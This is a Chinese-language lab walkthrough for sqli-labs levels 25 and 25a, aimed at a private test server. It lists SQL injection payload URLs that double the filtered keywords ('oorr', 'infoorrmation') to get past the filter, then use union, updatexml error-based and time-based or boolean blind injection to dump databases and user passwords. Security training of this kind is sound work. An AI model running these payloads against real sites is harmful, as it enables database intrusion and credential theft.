sqli lab 25 25a

Waf绕过可大致分为三类:  1.白盒绕过
                                             2. 黑盒绕过
                                             3. fuzz测试

less  25  法一 union 双写绕过过滤

http://192.168.50.100/sqli/Less-25/?id=1

sqli lab 25 25a

 http://192.168.50.100/sqli/Less-25/?id=1‘

sqli lab 25 25a

http://192.168.50.100/sqli/Less-25/?id=1‘ -- +  闭合 返回正常

提示语句sqli lab 25 25a

使用order by 2-- 猜列数

sqli lab 25 25a

 查看源码  发现 or和and  都被替换成了空

sqli lab 25 25a

采用双写得方式 进行绕过~

http://192.168.50.100/sqli/Less-25/?id=1‘  Oorrder by 2  -- +

sqli lab 25 25a

 http://192.168.50.100/sqli/Less-25/?id=-1‘ union select 1,2,3--+   判断回显位置


http://192.168.50.100/sqli/Less-25/?id=-1‘  union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata--+ 查到库

infoorrmation   双写 绕过
http://192.168.50.100/sqli/Less-25/?id=-1 ’ union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name=0x7573657273--+ 查到字段
http://192.168.50.100/sqli/Less-25/?id=-1 ‘ union select 1,2,group_concat(concat_ws(0x7e,username,passwoorrd)) from security.users--+ 查到字段值

 less25 法二 

or->|| 基于报错的注入

http://192.168.50.100/sqli/Less-25/?id=-1‘ ||  ‘1‘=‘1

sqli lab 25 25a

 

使用报错注入   

http://192.168.50.100/sqli/Less-25/?id=-1‘  || updatexml(1,concat(0x7e,(database()),0x7e),1)--+ 爆出当前数据库

sqli lab 25 25a


http://192.168.50.100/sqli/Less-25/?id=-1‘  || updatexml(1,concat(0x7e,(select schema_name from infoorrmation_schema.schemata limit 0,1),0x7e),1)--+

sqli lab 25 25a

遍历爆出所有的数据,继续使用即可,这里不可以使用group_concat(),因为数据显示不完整


less25a

sqli lab 25 25a

此时页面发生显著变化,数据消失,说明存在注入,但是通过$sql语句得知,此处并没有将id值进行包裹

sqli lab 25 25a

http://192.168.50.100/sqli/Less-25a/?id=1  OoRrder by 3 --+sqli lab 25 25a

 http://192.168.50.100/sqli/Less-25a/?id=-1 union select 1,2,3 --+    判断回显位置       id= 1 和 id= -1 得区别如下

sqli lab 25 25a

 sqli lab 25 25a

 http://192.168.50.100/sqli/Less-25a/?id=-1 union select 1,2,3--+ 可以使用联合查询,当我们使用联合查询注入时:
 http://192.168.50.100/sqli/Less-25a/?id=-1 union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata--+ 查到库
 http://192.168.50.100/sqli/Less-25a/?id=-1 union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name=0x7573657273--+ 查到字段
 http://192.168.50.100/sqli/Less-25a/?id=-1 union select 1,2,group_concat(concat_ws(0x7e,username,passwoorrd)) from security.users--+ 查到字段值

25a  还有其他得方法

当我们使用基于时间的布尔盲注:
 http://192.168.50.100/sqli/Less-25a/?id=-1 oorr if(length(database())>1,1,sleep(5))--+ 可以通过这个判断当前数据库长度
 http://192.168.50.100/sqli/Less-25a/?id=-1 oorrif(left(database(),1)>‘a’,1,sleep(5))--+ 判断当前数据库的组成
 http://192.168.50.100/sqli/Less-25a/?id=-1 oorr if(left((select schema_name from infoorrmation_schema.schemata limit 0,1),1)>‘a’,1,sleep(5))--+ 通过这个判断所有的数据库
依次再进行下去。。。


当我们使用布尔盲注的时候:
 http://192.168.50.100/sqli/Less-25a/?id=-1 oorr length(database())>1--+ 此时页面返回正常,则得知当前的数据库长度是大于1的
 http://192.168.50.100/sqli/Less-25a/?id=-1 oorr left((select schema_name from infoorrmation_schema.schemata limit 0,1),1)>‘a’--+当前的页面返回正常,说明此时的第一个数据库的第一个字母是大于a的
 http://192.168.50.100/sqli/Less-25a/?id=-1 oorr left((select schema_name from infoorrmation_schema.schemata limit 0,1),1)=‘a’--+ 此时等于a的时候,页面返回异常,说明我们的语句写的是正确的。
依次再进行下去。。。

通过观察,25关   ‘’   包裹,25a没有任何包裹,并且也是转义or和and

sqli lab 25 25a

lab

相关推荐